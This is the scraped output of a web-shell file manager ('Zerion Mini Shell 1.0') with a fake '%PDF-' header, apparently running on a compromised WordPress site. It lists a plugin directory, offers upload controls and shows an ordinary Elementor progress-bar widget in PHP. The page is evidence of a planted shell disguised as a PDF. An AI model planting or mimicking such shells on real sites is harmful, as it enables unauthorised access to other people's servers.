%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/public_html/stlc/wp-content/plugins/insur-addon/includes/Widgets/
Upload File :
Create Path :
Current File : /home/opti/public_html/stlc/wp-content/plugins/insur-addon/includes/Widgets/ProgressBar.php

<?php

namespace Layerdrops\Insur\Widgets;


class ProgressBar extends \Elementor\Widget_Base
{
    public function get_name()
    {
        return 'insur-progress-bar';
    }

    public function get_title()
    {
        return __('Progress Bar', 'insur-addon');
    }

    public function get_icon()
    {
        return 'eicon-cogs';
    }

    public function get_categories()
    {
        return ['insur-category'];
    }

    protected function register_controls()
    {
        $this->start_controls_section(
            'layout_section',
            [
                'label' => __('Layout', 'insur-addon'),
                'tab' => \Elementor\Controls_Manager::TAB_CONTENT,
            ]
        );

        $this->add_control(
            'layout_type',
            [
                'label' => __('Select Layout', 'insur-addon'),
                'type' => \Elementor\Controls_Manager::SELECT2,
                'default' => 'layout_one',
                'options' => [
                    'layout_one' => __('Layout One', 'insur-addon'),

                ]
            ]
        );


        $this->end_controls_section();

        $this->start_controls_section(
            'content_section',
            [
                'label' => __('Content', 'insur-addon'),
                'tab' => \Elementor\Controls_Manager::TAB_CONTENT,
                'condition' => [
                    'layout_type' => 'layout_one'
                ]
            ]
        );


        $progress_bar = new \Elementor\Repeater();

        $progress_bar->add_control(
            'title',
            [
                'label' => __('Title', 'insur-addon'),
                'type' => \Elementor\Controls_Manager::TEXT,
                'default' => __('Cleaning', 'insur-addon'),
                'label_block' => true,
            ]
        );

        $progress_bar->add_control(
            'count',
            [
                'label' => __('Count', 'insur-addon'),
                'type' => \Elementor\Controls_Manager::SLIDER,
                'size_units' => ['count'],
                'range' => [
                    'count' => [
                        'min' => 1,
                        'max' => 100,
                        'step' => 1,
                    ],
                ],
                'default' => [
                    'unit' => 'count',
                    'size' => 85,
                ],
            ]
        );

        $this->add_control(
            'progress_bar_items',
            [
                'label' => __('Progress Bar', 'insur-addon'),
                'type' => \Elementor\Controls_Manager::REPEATER,
                'fields' => $progress_bar->get_controls(),
                'prevent_empty' => false,
                'default' => [
                    [
                        'title' => __('Cleaning', 'insur-addon'),
                    ],
                ],
                'title_field' => '{{{ title }}}',
            ]
        );


        $this->end_controls_section();

        //General style
        $this->start_controls_section(
            'general_style',
            [
                'label' => esc_html__('Style Options', 'insur-addon'),
                'tab' => \Elementor\Controls_Manager::TAB_STYLE,
            ]
        );

        insur_typo_and_color_options($this, 'Title', '{{WRAPPER}} .team-details__progress-title', 'layout_one');
        insur_typo_and_color_options($this, 'Progress Bar', '{{WRAPPER}} .team-details__progress .bar-inner', 'layout_one', 'background-color', false);

        $this->end_controls_section();
    }

    protected function render()
    {
        $settings = $this->get_settings_for_display();
        include insur_get_template('progressbar-one.php');
    }
}

Zerion Mini Shell 1.0